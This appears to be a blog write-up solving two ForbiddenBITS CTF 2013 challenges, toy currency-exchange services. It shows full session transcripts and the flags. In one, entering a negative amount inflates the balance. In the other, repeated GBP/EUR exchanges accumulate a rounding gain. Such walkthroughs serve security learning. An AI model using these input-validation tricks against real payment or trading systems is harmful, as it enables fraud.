ForbiddenBITSCTF x94 Machine

This challenge was similar and little bit easier than x93 (it doesn’t require any scripts :-P). There was an integer overflow attack in this challenge and then you can exchange huge money to USD >= $5000.

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                                                                                                                                           
 _    _  94   _________   ______   ______  _    _  _____  ______   ______                                                                                                                                          
\ \  / /     | | | | | \ | |  | | | |     | |  | |  | |  | |  \ \ | |                                                                                                                                              
 >|--|<      | | | | | | | |__| | | |     | |--| |  | |  | |  | | | |----                                                                                                                                          
/_/  \_\     |_| |_| |_| |_|  |_| |_|____ |_|  |_| _|_|_ |_|  |_| |_|____                                                                                                                                          

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                                                                                                                                           

Really Wanna Trade with us ? yes/no                                                                                                                                                                                
yes                                                                                                                                                                                                                

Enter Username :                                                                                                                                                                                                   
SAM                                                                                                                                                                                                                

Welcome SAM                                                                                                                                                                                                        

Enter your Command :                                                                                                                                                                                               

[1] balance                                                                                                                                                                                                        
[2] exchange                                                                                                                                                                                                       
[3] transfert                                                                                                                                                                                                      
[4] restricted area                                                                                                                                                                                                                                                                                                                                                                                                                  
1                                                                                                                                                                                                      
Your Balance : 100 USD , 100 EUR , 100 GBP                                                                                                                                                                         

Enter your Command :                                                                                                                                                                                               

[1] balance                                                                                                                                                                                                        
[2] exchange                                                                                                                                                                                                       
[3] transfert                                                                                                                                                                                                      
[4] restricted area                                                                                                                                                                                                
2                                                                                                                                                                                                                  

Enter Destination currency                                                                                                                                                                                         
GBP

Enter Source currency
EUR

Enter Amount
-20000000000000

Your Balance : 100 USD , 20000000000100 EUR , -17199999999900 GBP 

Enter your Command :

[1] balance
[2] exchange
[3] transfert
[4] restricted area
2

Enter Destination currency
USD  

Enter Source currency
EUR

Enter Amount
10000

Your Balance : 10900 USD , 19999999990100 EUR , -17199999999900 GBP 

Enter your Command :

[1] balance
[2] exchange
[3] transfert
[4] restricted area
4

FLAG{54f882f08e3baab9d21e5f2aec4d85646a718181}

ForbiddenBITS CTF 2013 x93 Machine

I have never participated in any CTFs after last years IFSF CTF. So I thought to start actively participate in all upcoming CTFs from this year’s ForbiddenbitsCTF. I solved two challenges in this contest. There was a service running in 95.170.83.28 3003 and we were asked to enter the restricted area by having a balance more than $5000. We were only given 100$, 100 Euros and 100 GBP as the main balance. After a lot of struggle, I found a bug in the program that if you exchange money within your account (i.e from GBP to EURO and vice-versa) after a single rotation, the balance will be increased by 100.1 EURO’s. Then I didn’t waste much time to write a script :-p I did it manually (of course it took very less time as they asked only balance above 5000 USD)

$ nc 95.170.83.28 3003
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 _    _  93   _________   ______   ______  _    _  _____  ______   ______ 
\ \  / /     | | | | | \ | |  | | | |     | |  | |  | |  | |  \ \ | |     
 >|--|<      | | | | | | | |__| | | |     | |--| |  | |  | |  | | | |---- 
/_/  \_\     |_| |_| |_| |_|  |_| |_|____ |_|  |_| _|_|_ |_|  |_| |_|____ 

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Really Wanna Trade with us ? yes/no
yes
Enter Username :
SAM

Welcome SAM

Enter your Command :

[1] balance
[2] exchange
[3] transfert
[4] restricted area
2

Enter Destination currency
EUR

Enter Source currency
GBP

Enter Amount
100

Your Balance : 100 USD , 253.85 EUR , 0 GBP

Enter your Command :

[1] balance
[2] exchange
[3] transfert
[4] restricted area
2

Enter Destination currency
GBP

Enter Source currency
EUR

Enter Amount
253.85

Your Balance : 100 USD , 0 EUR , 218.31 GBP

Enter your Command :

[1] balance
[2] exchange
[3] transfert
[4] restricted area
2

Enter Destination currency
EUR

Enter Source currency
GBP

Enter Amount
218.31

Your Balance : 100 USD , 335.86 EUR , 0 GBP

Enter your Command :

[1] balance
[2] exchange
[3] transfert
[4] restricted area
2

Enter Destination currency
GBP

Enter Source currency
EUR

Enter Amount
335.86

Your Balance : 100 USD , 0 EUR , 288.84 GBP

.
.
.
.
.
.
.

Your Balance : 6062.7 USD, 0 EUR , 0 GBP

[1] balance
[2] exchange
[3] transfert
[4] restricted area
4
FLAG{7d21ca3a7a2f068347efac7c2c9794bdb3bd0ab0}